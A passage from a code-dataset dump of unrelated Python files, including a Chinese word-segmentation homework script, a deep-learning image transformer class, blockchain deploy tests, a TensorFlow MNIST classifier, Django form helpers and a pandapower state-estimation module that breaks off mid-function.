config_list\n\"\"\"\n","sub_path":"packages/dt_multi_archapi_utils/multi_arch_client.py","file_name":"multi_arch_client.py","file_ext":"py","file_size_in_byte":18529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"97238299","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 17 16:23:32 2020\n\n@author: user\n\"\"\"\n\nimport re\nimport string\nimport random\nimport glob\nimport operator\nimport heapq\nfrom collections import defaultdict, Counter, defaultdict\nimport math \nfrom functools import reduce\nimport csv\nfrom pprint import pprint\nfrom functools import lru_cache\nfrom datetime import datetime\n\nsentences = [\n \"今天可能下雨\",\n \"中華民國於一九九五年三月一日開始實施全民健保\",\n \"孫中山先生推翻滿清建立中華民國\",\n \"教授應該要為辛苦的助教加薪\",\n \"火鍋是四川的特色\",\n \"波士頓茶葉事件促使美國革命\",\n \"羅馬帝國皇帝遭到殺害\",\n]\n\n\n\"\"\"\nWC\n\"\"\"\n\nmydict=dict()\n\ndef gramfreqdict(text):\n for word in text:\n word = word.split(\"|\")[0]\n if type(mydict.get(word,0)) == \"NoneType\":\n mydict[word] = 1\n else :\n mydict[word]=mydict.get(word,0)+1\n #return mydict\n \nfile = open(\"COCT.small.txt\", 'r', encoding='UTF-8')\nwhile True:\n line = file.readline()\n if not line: break\n split_line = line.split()\n gramfreqdict(split_line)\n #print(line, end='', sep = ' ')\nfile.close()\n\n\n\n\"\"\"\n分詞\n\"\"\"\n\ndef returnSum(myDict): \n sum = 0\n for i in myDict: \n sum = sum + myDict[i] \n return sum\n\ndef splits(text, L):\n return [(text[:i+1], text[i+1:])\n for i in range(min(len(text), L))]\ndef getword(sentence,l,total):\n if l == 0 : \n print(total)\n return 0\n exist = []\n sp_sentence = splits(sentence,l)\n h=0\n for i in sp_sentence:\n if i[0] in mydict:\n exist.append(1)\n elif i[0] not in mydict:\n exist.append(0)\n for j in range(l):\n if exist[j] == 1 :\n count = j\n print(sentence[h:h+count+1])\n voc = sentence[h:h+count+1]\n total = total + unigram(voc)\n #print(total)\n getword(sentence[h+count+1:l],l-count-1,total)\n \ndef my_word(sentence):\n l = len(sentence)\n getword(sentence,l,0)\n\n \ndef unigram(word):\n p = (mydict[word] + 1) / (len(mydict) + returnSum(mydict))\n return math.log(p)\n\n#my_word(sentences[0])\n\nfor i in sentences:\n my_word(i)\n","sub_path":"HW03/levelA.py","file_name":"levelA.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"320590013","text":"import cv2\r\nimport numpy as np\r\nimport random\r\n\r\nimport __main__\r\n\r\nfrom deeplodocus.utils.generic_utils import get_module\r\nfrom deeplodocus.utils.notification import Notification\r\nfrom deeplodocus.utils.flags import *\r\nfrom deeplodocus.utils.namespace import Namespace\r\nfrom deeplodocus.utils.dict_utils import get_kwargs\r\nfrom deeplodocus.utils.dict_utils import check_kwargs\r\n\r\n\r\nclass Transformer(object):\r\n \"\"\"\r\n AUTHORS:\r\n --------\r\n\r\n :author: Alix Leroy\r\n :author: Samuel Westlake\r\n\r\n DESCRIPTION:\r\n ------------\r\n\r\n A generic transformer class.\r\n The transformer loads the transforms in memory and allows the data to be transformed\r\n \"\"\"\r\n\r\n def __init__(self, config):\r\n \"\"\"\r\n AUTHORS:\r\n --------\r\n\r\n :author: Alix Leroy\r\n\r\n DESCRIPTION:\r\n ------------\r\n\r\n Initialize the Transformer by filling the transforms list\r\n\r\n PARAMETERS:\r\n -----------\r\n\r\n :param config->Namespace: The Namespace containing the config\r\n\r\n RETURN:\r\n -------\r\n\r\n :return: None\r\n \"\"\"\r\n self.name = config.name\r\n self.last_index = None\r\n self.pointer_to_transformer = None\r\n self.last_transforms = []\r\n\r\n # List of transforms\r\n self.list_transforms = []\r\n self.list_mandatory_transforms = []\r\n\r\n if config.check(\"mandatory_transforms\", None):\r\n self.list_mandatory_transforms = self.__fill_transform_list(config.mandatory_transforms)\r\n\r\n if config.check(\"transforms\", None):\r\n self.list_transforms = self.__fill_transform_list(config.transforms)\r\n\r\n def summary(self):\r\n \"\"\"\r\n AUTHORS:\r\n --------\r\n\r\n author: Alix Leroy\r\n\r\n DESCRIPTION:\r\n -----------\r\n\r\n Print the summary of the tranformer\r\n\r\n PARAMETERS:\r\n -----------\r\n\r\n None\r\n\r\n RETURN:\r\n -------\r\n\r\n :return: None\r\n \"\"\"\r\n\r\n Notification(DEEP_NOTIF_INFO, \"Transformer '\" + str(self.name) + \"' summary :\")\r\n\r\n if len(self.list_mandatory_transforms) > 0:\r\n Notification(DEEP_NOTIF_INFO, \" Mandatory transforms :\")\r\n for t in self.list_mandatory_transforms:\r\n Notification(DEEP_NOTIF_INFO, \"--> Name : \" + str(t[0]) + \" , Args : \" + str(t[2]) + \", Method : \" + str(t[1]))\r\n\r\n if len(self.list_transforms) > 0:\r\n Notification(DEEP_NOTIF_INFO, \" Transforms :\")\r\n for t in self.list_transforms:\r\n Notification(DEEP_NOTIF_INFO, \"--> Name : \" + str(t[0]) + \" , Args : \" + str(t[2]) + \", Method : \" + str(t[1]))\r\n\r\n def get_pointer(self):\r\n \"\"\"\r\n AUTHORS:\r\n --------\r\n\r\n author: Alix Leroy\r\n\r\n DESCRIPTION:\r\n ------------\r\n\r\n Get the pointer to the other transformer\r\n\r\n PARAMETERS:\r\n -----------\r\n\r\n None\r\n\r\n RETURN:\r\n -------\r\n\r\n :return: pointer_to_transformer attribute\r\n \"\"\"\r\n return self.pointer_to_transformer\r\n\r\n def reset(self):\r\n \"\"\"\r\n AUTHORS:\r\n --------\r\n\r\n :author: Alix Leroy\r\n\r\n DESCRIPTION:\r\n ------------\r\n\r\n Reset the last index and last transforms used after one epoch\r\n\r\n PARAMETERS:\r\n -----------\r\n\r\n None\r\n\r\n RETURN:\r\n -------\r\n\r\n :return: None\r\n \"\"\"\r\n\r\n self.last_index = None\r\n self.last_transforms = []\r\n\r\n def __fill_transform_list(self, config_transforms: Namespace):\r\n \"\"\"\r\n AUTHORS:\r\n --------\r\n\r\n author: Alix Leroy\r\n\r\n DESCRIPTION:\r\n ------------\r\n\r\n Fill the list of transforms with the corresponding methods and arguments\r\n\r\n PARAMETERS:\r\n -----------\r\n\r\n :param transforms-> list: A list of transforms\r\n\r\n RETURN:\r\n -------\r\n\r\n :return: None\r\n \"\"\"\r\n list_transforms = []\r\n\r\n for key, value in config_transforms.get().items():\r\n list_transforms.append([key,\r\n get_module(value, modules=DEEP_MODULE_TRANSFORMS),\r\n check_kwargs(get_kwargs(value.get()))])\r\n return list_transforms\r\n\r\n\r\n\r\n\r\n def transform(self, data, index, data_type):\r\n \"\"\"\r\n Authors : Alix Leroy,\r\n :param data: data to transform\r\n :param index: The index of the instance in the Data Frame\r\n :param data_type: The type of data\r\n :return: The transformed data\r\n \"\"\"\r\n pass # Will be overridden\r\n\r\n def apply_transforms(self, transformed_data, transforms):\r\n \"\"\"\r\n AUTHORS:\r\n --------\r\n\r\n :author: Alix Leroy\r\n\r\n DESCRIPTION:\r\n ------------\r\n\r\n Apply the list of transforms to the data\r\n\r\n PARAMETERS:\r\n -----------\r\n\r\n :param transformed_data:\r\n :param transforms:\r\n\r\n RETURN:\r\n -------\r\n\r\n :return transformed_data: The transformed data\r\n \"\"\"\r\n\r\n # Apply the transforms\r\n for transform in transforms:\r\n\r\n transform_name = transform[0]\r\n transform_method = transform[1] # Create a generic alias for the transform method\r\n transform_args = transform[2] # Dictionary of arguments\r\n transformed_data, last_method_used = transform_method(transformed_data, **transform_args) # Apply the transform\r\n\r\n # Update the last transforms used and the last index\r\n if last_method_used is None:\r\n self.last_transforms.append([transform_name, transform_method, transform_args])\r\n\r\n else:\r\n self.last_transforms.append(last_method_used)\r\n return transformed_data\r\n\r\n def __transform_image(self, image, key):\r\n\r\n \"\"\"\r\n Author : Alix Leroy\r\n :param image: input image to augment\r\n :param key: the parameters of the augmentation in a dictionnary\r\n :return: augmented image\r\n \"\"\"\r\n\r\n ################\r\n # ILLUMINATION #\r\n ################\r\n if key == \"adjust_gamma\":\r\n gamma = np.random.random(key[\"gamma\"][0], key[\"gamma\"][1])\r\n image = self.adjust_gamma(image, gamma)\r\n\r\n\r\n #########\r\n # BLURS #\r\n #########\r\n elif key == \"average\":\r\n kernel = tuple(int(key[\"kernel_size\"]), int(key[\"kernel_size\"]))\r\n image = cv2.blur(image, kernel)\r\n\r\n elif key == \"gaussian_blur\":\r\n kernel = tuple(int(key[\"kernel_size\"]), int(key[\"kernel_size\"]))\r\n image = cv2.GaussianBlur(image, kernel, 0)\r\n\r\n elif key == \"median_blur\":\r\n\r\n image = cv2.medianBlur(image, int(key[\"kernel_size\"]))\r\n\r\n elif key == \"bilateral_blur\":\r\n diameter = int(key[\"diameter\"])\r\n sigma_color = int(key[\"sigma_color\"])\r\n sigma_space = int(key[\"sigma_space\"])\r\n image = cv2.bilateralFilter(image, diameter, sigma_color, sigma_space)\r\n\r\n\r\n #########\r\n # FLIPS #\r\n #########\r\n elif key == \"horizontal_flip\":\r\n image = cv2.flip(image, 0)\r\n\r\n elif key == \"vertical_flip\":\r\n image = cv2.flip(image, 1)\r\n\r\n\r\n #############\r\n # ROTATIONS #\r\n #############\r\n\r\n elif key == \"random_rotation\":\r\n angle = np.random.random(00, 359.9)\r\n shape = image.shape\r\n rows, cols = shape[0:2]\r\n m = cv2.getRotationMatrix2D((cols / 2, rows / 2), angle, 1)\r\n image = cv2.warpAffine(image, m, (cols, rows)).astype(np.float32)\r\n\r\n\r\n elif key == \"boundary_rotation\":\r\n angle = float(key[\"angle\"])\r\n angle = (2 * np.random.rand() - 1) * angle\r\n shape = image.shape\r\n rows, cols = shape[0:2]\r\n m = cv2.getRotationMatrix2D((cols / 2, rows / 2), angle, 1)\r\n image = cv2.warpAffine(image, m, (cols, rows)).astype(np.float32)\r\n\r\n\r\n elif key == \"rotation\":\r\n angle = float(key[\"angle\"])\r\n shape = image.shape\r\n rows, cols = shape[0:2]\r\n m = cv2.getRotationMatrix2D((cols / 2, rows / 2), angle, 1)\r\n image = cv2.warpAffine(image, m, (cols, rows)).astype(np.float32)\r\n else:\r\n Notification(DEEP_NOTIF_FATAL, \"This transformation function does not exist : \" + str(transformation))\r\n return image\r\n\r\n def random_blur(self, image, kernel_size_min, kernel_size_max):\r\n\r\n kernel_size = (random.randint(kernel_size_min//2, kernel_size_max//2)) * 2 + 1\r\n image, _ = self.blur(image, kernel_size)\r\n transform = [\"blur\", self.blur, {\"kernel_size\": kernel_size}]\r\n return image, transform\r\n\r\n def blur(self, image, kernel_size):\r\n #kernel = tuple(int(kernel_size), int(kernel_size))\r\n kernel = (int(kernel_size), int(kernel_size))\r\n image = cv2.blur(image, kernel)\r\n return image, None\r\n\r\n\r\n\r\n\r\n def normalize_video(self, video):\r\n \"\"\"\r\n Author: Alix Leroy\r\n :param video: sequence of frames\r\n :return: a normalized sequence of frames\r\n \"\"\"\r\n\r\n video = [self.normalize_image(frame) for frame in video]\r\n\r\n return video\r\n\r\n","sub_path":"deeplodocus/data/transformer/transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":9338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"215109094","text":"import os\nimport random\nimport tempfile\n\nfrom pycspr import factory\nfrom pycspr import serialisation\nfrom pycspr import utils\n\n\n\ndef test_that_deploy_is_unapproved_when_instantiated(deploy_params, cp2):\n deploy = _create_deploy(deploy_params, cp2)\n assert len(deploy.approvals) == 0\n\n\ndef test_that_deploy_can_be_approved(deploy_params, cp1, cp2):\n deploy = _create_deploy(deploy_params, cp2)\n deploy.set_approval(factory.create_deploy_approval(deploy, cp1))\n assert len(deploy.approvals) == 1\n assert deploy.approvals[0].signer == cp1.account_key\n\n\ndef test_that_deploy_can_be_approved_by_multiple_parties(deploy_params, cp1, cp2):\n deploy = _create_deploy(deploy_params, cp2)\n deploy.set_approval(factory.create_deploy_approval(deploy, cp1))\n deploy.set_approval(factory.create_deploy_approval(deploy, cp2))\n assert len(deploy.approvals) == 2\n\n\ndef test_that_deploy_approvals_are_deduplicated(deploy_params, cp1, cp2):\n deploy = _create_deploy(deploy_params, cp2)\n for _ in range(10):\n deploy.set_approval(factory.create_deploy_approval(deploy, cp1))\n deploy.set_approval(factory.create_deploy_approval(deploy, cp2))\n assert len(deploy.approvals) == 2\n\n\ndef test_that_a_deploy_can_be_written_to_fs(deploy_params, cp1, cp2):\n deploy = _create_deploy(deploy_params, cp2)\n with tempfile.TemporaryFile() as fp:\n fpath = utils.io.write_deploy(deploy, str(fp)) \n assert os.path.exists(fpath)\n os.remove(fpath)\n\n\ndef test_can_write_to_and_read_from_fs(deploy_params, cp1, cp2):\n deploy_1 = _create_deploy(deploy_params, cp2)\n with tempfile.TemporaryFile() as fp:\n fpath = utils.io.write_deploy(deploy_1, str(fp))\n deploy_2 = utils.io.read_deploy(fp)\n assert isinstance(deploy_2, type(deploy_1))\n assert serialisation.to_json(deploy_1) == serialisation.to_json(deploy_2)\n os.remove(fpath)\n\n\ndef _create_deploy(deploy_params, cp2):\n return factory.create_native_transfer(\n deploy_params,\n amount = 123456789,\n correlation_id = 1,\n target = cp2.account_hash,\n )\n","sub_path":"tests/test_deploy_lifecycle.py","file_name":"test_deploy_lifecycle.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"610965462","text":"from graph import *\ndef main():\n windowsize(600, 500)\n paint_house(200 , 100, 200, 400)\n run()\ndef paint_house(x, y, width, height):\n \"\"\"paint house\n (x, y) -- baise(start) point is left down\n \"\"\"\n paint_walls(x, y, width, height // 2)\n paint_roof(x, y, widht, height // 2)\n w_width = width // 3\n w_height = height // 6\n paint_window(x +w_width, y + w_height, w_width, w_height)\n\nmain()\n","sub_path":"exercises/Хирьянов/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"19837349","text":"import os, sys\nsys.path.append(os.getcwd())\n\nN_GPUS = 1\n\ntry: # This only matters on Ishaan's computer\n import experiment_tools\n experiment_tools.wait_for_gpu(tf=True, n_gpus=N_GPUS)\nexcept ImportError:\n pass\n\nimport tflib as lib\nimport tflib.train_loop\nimport tflib.mnist\nimport tflib.ops.mlp\n\nimport numpy as np\nimport tensorflow as tf\n\nimport functools\n\nLR = 1e-3\nBATCH_SIZE = 100\n\nDEVICES = ['/gpu:{}'.format(i) for i in xrange(N_GPUS)]\n\nTIMES = {\n 'mode': 'iters',\n 'print_every': 1*500,\n 'stop_after': 100*500,\n 'test_every': 10*500\n}\n\nlib.print_model_settings(locals().copy())\n\nwith tf.Session() as session:\n\n inputs = tf.placeholder(tf.float32, shape=[None, 784])\n targets = tf.placeholder(tf.int32, shape=[None])\n\n tower_costs = []\n tower_accs = []\n\n split_inputs = tf.split(0, len(DEVICES), inputs)\n split_targets = tf.split(0, len(DEVICES), targets)\n\n for device, input_split, target_split in zip(DEVICES, split_inputs, split_targets):\n with tf.device(device):\n\n logits = lib.ops.mlp.MLP(\n 'MLP',\n input_dim=784,\n hidden_dim=50,\n output_dim=10,\n n_layers=3,\n inputs=input_split\n )\n\n cost = tf.reduce_mean(\n tf.nn.sparse_softmax_cross_entropy_with_logits(logits, target_split)\n )\n\n acc = tf.reduce_mean(\n tf.cast(\n tf.equal(\n tf.to_int32(tf.argmax(logits, dimension=1)),\n target_split\n ),\n tf.float32\n )\n )\n\n tower_costs.append(cost)\n tower_accs.append(acc)\n\n cost = tf.reduce_mean(tf.concat(0, [tf.expand_dims(c, 0) for c in tower_costs]), 0)\n acc = tf.reduce_mean(tf.concat(0, [tf.expand_dims(a, 0) for a in tower_accs]), 0)\n\n train_data, dev_data, test_data = lib.mnist.load(\n BATCH_SIZE,\n BATCH_SIZE\n )\n\n lib.train_loop.train_loop(\n session=session,\n inputs=[inputs, targets],\n cost=cost,\n prints=[\n ('acc', acc)\n ],\n optimizer=tf.train.AdamOptimizer(LR),\n train_data=train_data,\n test_data=dev_data,\n times=TIMES\n )","sub_path":"py3/nn/experiments/tf_mnist_classifier.py","file_name":"tf_mnist_classifier.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"520464344","text":"from bubble_sort import BubbleSort\r\nfrom selection_sort import SelectionSort\r\nfrom insertion_sort import InsertionSort\r\nbubble = BubbleSort()\r\nlis = list(range(1, 1001))\r\nbubble.sort(lis, 'asc')\r\nprint(f\"Ascending sorted list : {lis}\")\r\nbubble.sort(lis, 'desc')\r\nprint(f\"Descending sorted list :{lis}\")\r\nbubble.sort(lis, 'selection')\r\n\r\nselection = SelectionSort()\r\nselection.sort(lis, 'asc')\r\nprint(f\"Ascending sorted list : {lis}\")\r\nselection.sort(lis, 'desc')\r\nprint(f\"Descending sorted list :{lis}\")\r\nselection.sort(lis, 'selection')\r\n\r\ninsertion = InsertionSort()\r\ninsertion.sort(lis, 'asc')\r\nprint(f\"Ascending sorted list : {lis}\")\r\ninsertion.sort(lis, 'desc')\r\nprint(f\"Descending sorted list :{lis}\")\r\ninsertion.sort(lis, 'selection')\r\n\r\n\r\n\r\n","sub_path":"compare_sortmethods.py","file_name":"compare_sortmethods.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"441067094","text":"from collections import OrderedDict\n\n\ndef add_css_classes(boundfield, css_classes):\n \"\"\"\n Add a single or multiple css classes to a form widget. To add multiple classes, pass\n them as a whitespace delimited string or a list. eg, `add_classes(boundfield, 'foo bar')`\n \"\"\"\n if not css_classes:\n return\n\n if isinstance(css_classes, str):\n css_classes = css_classes.split()\n\n widget = boundfield.field.widget\n classes = OrderedDict.fromkeys(widget.attrs.get('class', '').split())\n classes.update(OrderedDict.fromkeys(css_classes))\n\n widget.attrs['class'] = \" \".join(classes)\n\n\ndef try_classmro(fn, cls):\n \"\"\"\n Try `fn` with the `cls` by walking its MRO until a result is returned.\n eg, `try_classmro(field_dict.get, forms.CharField)`\n \"\"\"\n for cls in cls.mro():\n result = fn(cls)\n if result is not None:\n return result\n\n\ndef bs3_cols(sizes):\n \"\"\"\n Convert a BS3 column sizes dict into a css class string.\n\n The `sizes` may be a list of tuples instead of a dict.\n\n >>> bs3_cols({'md': '6', 'xs': '8'})\n 'col-md-6 col-xs-8'\n \"\"\"\n if not isinstance(sizes, dict):\n sizes = OrderedDict(sizes)\n\n return ' '.join([\n 'col-{k}-{v}'.format(k=k, v=v)\n for k, v in sizes.items()\n ])\n\n\ndef bs3_inverse_cols(sizes, *, offset=False, grid=12):\n \"\"\"\n Convert a BS3 column sizes dict into a css class string,\n but calculate the inverse used for the labels on the left.\n\n The `sizes` may be a list of tuples instead of a dict.\n\n The `offset` argument is useful when a label is not present,\n and space needs to be padded.\n\n Set `grid` for a non-standard number of grid columns.\n\n >>> bs3_inverse_cols({'md': '6', 'xs': '8'})\n 'col-md-6 col-xs-4'\n\n >>> bs3_inverse_cols({'md': '6', 'xs': '8'}, offset=True)\n 'col-md-offset-6 col-xs-offset-4'\n\n >>> bs3_inverse_cols({'md': '6', 'xs': '8'}, grid=16)\n 'col-md-10 col-xs-8'\n \"\"\"\n if not isinstance(sizes, dict):\n sizes = OrderedDict(sizes)\n\n fmt = 'col-{k}-{v}' if not offset else 'col-{k}-offset-{v}'\n\n return ' '.join([\n fmt.format(k=k, v=grid - int(v))\n for k, v in sizes.items()\n ])\n","sub_path":"src/template_forms/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"501710710","text":"# -*- coding: utf-8 -*-\n\n# Copyright (c) 2016-2017 by University of Kassel and Fraunhofer Institute for Wind Energy and\n# Energy System Technology (IWES), Kassel. All rights reserved. Use of this source code is governed\n# by a BSD-style license that can be found in the LICENSE file.\n\nimport warnings\n\nimport numpy as np\nimport pandas as pd\nfrom pypower.int2ext import int2ext\nfrom scipy.sparse import csr_matrix\nfrom scipy.sparse.linalg import spsolve\nfrom scipy.stats import chi2\n\nfrom pandapower.auxiliary import get_values, _select_is_elements, calculate_line_results, \\\n _add_ppc_options\nfrom pandapower.estimation.wls_matrix_ops import wls_matrix_ops\nfrom pandapower.pd2ppc import _pd2ppc\nfrom pandapower.pypower_extensions.ext2int import ext2int\nfrom pandapower.results import _set_buses_out_of_service\nfrom pandapower.topology import estimate_voltage_vector\n\ntry:\n import pplog as logging\nexcept ImportError:\n import logging\nstd_logger = logging.getLogger(__name__)\n\n\ndef estimate(net, init='flat', tolerance=1e-6, maximum_iterations=10,\n calculate_voltage_angles=True):\n \"\"\"\n Wrapper function for WLS state estimation.\n\n INPUT:\n **net** - The net within this line should be created.\n\n **init** - (string) Initial voltage for the estimation. 'flat' sets 1.0 p.u. / 0° for all\n buses, 'results' uses the values from *res_bus_est* if available and 'slack' considers the\n slack bus voltage (and optionally, angle) as the initial values. Default is 'flat'.\n \n OPTIONAL:\n **tolerance** - (float) - When the maximum state change between iterations is less than\n tolerance, the process stops. Default is 1e-6.\n\n **maximum_iterations** - (integer) - Maximum number of iterations. Default is 10.\n\n **calculate_voltage_angles** - (boolean) - Take into account absolute voltage angles and phase\n shifts in transformers, if init is 'slack'. Default is True.\n\n OUTPUT:\n **successful** (boolean) - Was the state estimation successful?\n \"\"\"\n wls = state_estimation(tolerance, maximum_iterations, net)\n v_start = None\n delta_start = None\n if init == 'results':\n v_start = net.res_bus_est.vm_pu\n delta_start = net.res_bus_est.va_degree\n elif init == 'slack':\n res_bus = estimate_voltage_vector(net)\n v_start = res_bus.vm_pu.values\n if calculate_voltage_angles:\n delta_start = res_bus.va_degree.values\n elif init != 'flat':\n raise UserWarning(\"Unsupported init value. Using flat initialization.\")\n return wls.estimate(v_start, delta_start, calculate_voltage_angles)\n \n \ndef remove_bad_data(net, init='flat', tolerance=1e-6, maximum_iterations=10,\n calculate_voltage_angles=True, rn_max_threshold=3.0, chi2_prob_false=0.05):\n \"\"\"\n Wrapper function for bad data removal.\n \n INPUT:\n **net** - The net within this line should be created.\n \n **init** - (string) Initial voltage for the estimation. 'flat' sets 1.0 p.u. / 0° for all\n buses, 'results' uses the values from *res_bus_est* if available and 'slack' considers the\n slack bus voltage (and optionally, angle) as the initial values. Default is 'flat'.\n \n OPTIONAL:\n **tolerance** - (float) - When the maximum state change between iterations is less than\n tolerance, the process stops. Default is 1e-6.\n\n **maximum_iterations** - (integer) - Maximum number of iterations. Default is 10.\n\n **calculate_voltage_angles** - (boolean) - Take into account absolute voltage angles and phase\n shifts in transformers, if init is 'slack'. Default is True. \n \n **rn_max_threshold** (float) - Identification threshold to determine\n if the largest normalized residual reflects a bad measurement\n (default value of 3.0)\n \n **chi2_prob_false** (float) - probability of error / false alarms\n (default value: 0.05)\n \n OUTPUT:\n **successful** (boolean) - Was the state estimation successful?\n \"\"\"\n wls = state_estimation(tolerance, maximum_iterations, net)\n v_start = None\n delta_start = None\n if init == 'results':\n v_start = net.res_bus_est.vm_pu\n delta_start = net.res_bus_est.va_degree\n elif init == 'slack':\n res_bus = estimate_voltage_vector(net)\n v_start = res_bus.vm_pu.values\n if calculate_voltage_angles:\n delta_start = res_bus.va_degree.values\n elif init != 'flat':\n raise UserWarning(\"Unsupported init value. Using flat initialization.\")\n return wls.perform_rn_max_test(v_start, delta_start, calculate_voltage_angles,\n rn_max_threshold, chi2_prob_false)\n\n\ndef chi2_analysis(net, init='flat', tolerance=1e-6, maximum_iterations=10,\n calculate_voltage_angles=True, chi2_prob_false=0.05):\n \"\"\"\n Wrapper function for the chi-squared test.\n \n INPUT:\n **net** - The net within this line should be created.\n \n **init** - (string) Initial voltage for the estimation. 'flat' sets 1.0 p.u. / 0° for all\n buses, 'results' uses the values from *res_bus_est* if available and 'slack' considers the\n slack bus voltage (and optionally, angle) as the initial values. Default is 'flat'.\n \n OPTIONAL:\n **tolerance** - (float) - When the maximum state change between iterations is less than\n tolerance, the process stops. Default is 1e-6.\n\n **maximum_iterations** - (integer) - Maximum number of iterations. Default is 10.\n\n **calculate_voltage_angles** - (boolean) - Take into account absolute voltage angles and phase\n shifts in transformers, if init is 'slack'. Default is True. \n \n **chi2_prob_false** (float) - probability of error / false alarms\n (default value: 0.05)\n \n OUTPUT:\n **successful** (boolean) - Was the state estimation successful?\n \"\"\"\n wls = state_estimation(tolerance, maximum_iterations, net)\n v_start = None\n delta_start = None\n if init == 'results':\n v_start = net.res_bus_est.vm_pu\n delta_start = net.res_bus_est.va_degree\n elif init == 'slack':\n res_bus = estimate_voltage_vector(net)\n v_start = res_bus.vm_pu.values\n if calculate_voltage_angles:\n delta_start = res_bus.va_degree.values\n elif init != 'flat':\n raise UserWarning(\"Unsupported init value. Using flat initialization.\")\n return wls.perform_chi2_test(v_start, delta_start, calculate_voltage_angles,\n chi2_prob_false)\n \n\nclass state_estimation(object):\n \"\"\"\n Any user of the estimation module only needs to use the class state_estimation. It contains all\n relevant functions to control and operator the module. Two functions are used to configure the\n system according to the users needs while one function is used for the actual estimation\n process.\n \"\"\"\n def __init__(self, tolerance=1e-6, maximum_iterations=10, net=None, logger=None):\n self.logger = logger\n if self.logger is None:\n self.logger = std_logger\n self.tolerance = tolerance\n self.max_iterations = maximum_iterations\n self.net = net\n self.s_ref = 1e6\n self.s_node_powers = None\n # for chi square test\n self.hx = None\n self.R_inv = None\n self.H = None\n self.Ht = None\n self.Gm = None\n self.r = None\n self.V = None\n self.delta = None\n self.bad_data_present = None\n # offset to accommodate pypower - pandapower differences (additional columns)\n self.br_col_offset = 6\n\n def estimate(self, v_start=None, delta_start=None, calculate_voltage_angles=True):\n \"\"\"\n The function estimate is the main function of the module. It takes up to three input\n arguments: v_start, delta_start and calculate_voltage_angles. The first two are the initial\n state variables for the estimation process. Usually they can be initialized in a\n \"flat-start\" condition: All voltages being 1.0 pu and all voltage angles being 0 degrees.\n In this case, the parameters can be left at their default values (None). If the estimation\n is applied continuously, using the results from the last estimation as the starting\n condition for the current estimation can decrease the amount of iterations needed to\n estimate the current state. The third parameter defines whether all voltage angles are\n calculated absolutely, including phase shifts from transformers. If only the relative\n differences between buses are required, this parameter can be set to False. Returned is a\n boolean value, which is true after a successful estimation and false otherwise.\n The resulting complex voltage will be written into the pandapower network. The result\n fields are found res_bus_est of the pandapower network.\n\n INPUT:\n **net** - The net within this line should be created\n\n **v_start** (np.array, shape=(1,), optional) - Vector with initial values for all\n voltage magnitudes in p.u. (sorted by bus index)\n\n **delta_start** (np.array, shape=(1,), optional) - Vector with initial values for all\n voltage angles in degrees (sorted by bus index)\n \n OPTIONAL:\n **calculate_voltage_angles** - (bool) - Take into account absolute voltage angles and\n phase shifts in transformers Default is True.\n\n OUTPUT:\n **successful** (boolean) - True if the estimation process was successful\n\n Optional estimation variables:\n The bus power injections can be accessed with *se.s_node_powers* and the estimated\n values corresponding to the (noisy) measurement values with *se.hx*. (*hx* denotes h(x))\n\n EXAMPLE:\n success = estimate(np.array([1.0, 1.0, 1.0]), np.array([0.0, 0.0, 0.0]))\n\n \"\"\"\n if self.net is None:\n raise UserWarning(\"Component was not initialized with a network.\")\n\n # add initial values for V and delta\n # node voltages\n # V= 0])\n bus_append[new_in_line_buses, 2] = 0.\n bus_append[new_in_line_buses, 3] = 1.\n bus_append[new_in_line_buses, 4] = 0.\n bus_append[new_in_line_buses, 5] = 1.\n\n # add 12 columns to mpc[branch] for Im_from, Im_from std dev, Im_to, Im_to std dev,\n # P_from, P_from std dev, P_to, P_to std dev, Q_from,Q_from std dev, Q_to, Q_to std dev\n branch_append = np.full((ppc[\"branch\"].shape[0], 12), np.nan, dtype=ppc[\"branch\"].dtype)\n\n i_measurements = self.net.measurement[(self.net.measurement.type == \"i\")\n & (self.net.measurement.element_type == \"line\")]\n if len(i_measurements):\n meas_from = i_measurements[(i_measurements.bus.values.astype(int) ==\n self.net.line.from_bus[i_measurements.element]).values]\n meas_to = i_measurements[(i_measurements.bus.values.astype(int) ==\n self.net.line.to_bus[i_measurements.element]).values]\n ix_from = meas_from.element.values.astype(int)\n ix_to = meas_to.element.values.astype(int)\n i_a_to_pu_from = (self.net.bus.vn_kv[meas_from.bus] * 1e3 / self.s_ref).values\n i_a_to_pu_to = (self.net.bus.vn_kv[meas_to.bus] * 1e3 / self.s_ref).values\n branch_append[ix_from, 0] = meas_from.value.values * i_a_to_pu_from\n branch_append[ix_from, 1] = meas_from.std_dev.values * i_a_to_pu_from\n branch_append[ix_to, 2] = meas_to.value.values * i_a_to_pu_to\n branch_append[ix_to, 3] = meas_to.std_dev.values * i_a_to_pu_to\n\n p_measurements = self.net.measurement[(self.net.measurement.type == \"p\")\n & (self.net.measurement.element_type == \"line\")]\n if len(p_measurements):\n meas_from = p_measurements[(p_measurements.bus.values.astype(int) ==\n self.net.line.from_bus[p_measurements.element]).values]\n meas_to = p_measurements[(p_measurements.bus.values.astype(int) ==\n self.net.line.to_bus[p_measurements.element]).values]\n ix_from = meas_from.element.values.astype(int)\n ix_to = meas_to.element.values.astype(int)\n branch_append[ix_from, 4] = meas_from.value.values * 1e3 / self.s_ref\n branch_append[ix_from, 5] = meas_from.std_dev.values * 1e3 / self.s_ref\n branch_append[ix_to, 6] = meas_to.value.values * 1e3 / self.s_ref\n branch_append[ix_to, 7] = meas_to.std_dev.values * 1e3 / self.s_ref\n\n q_measurements = 